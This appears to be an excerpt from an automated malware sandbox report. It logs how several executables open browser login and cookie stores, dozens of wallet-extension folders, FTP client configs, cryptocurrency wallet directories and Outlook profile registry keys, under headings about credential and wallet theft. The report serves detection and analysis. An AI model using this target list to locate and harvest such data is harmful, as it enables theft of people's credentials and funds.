Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
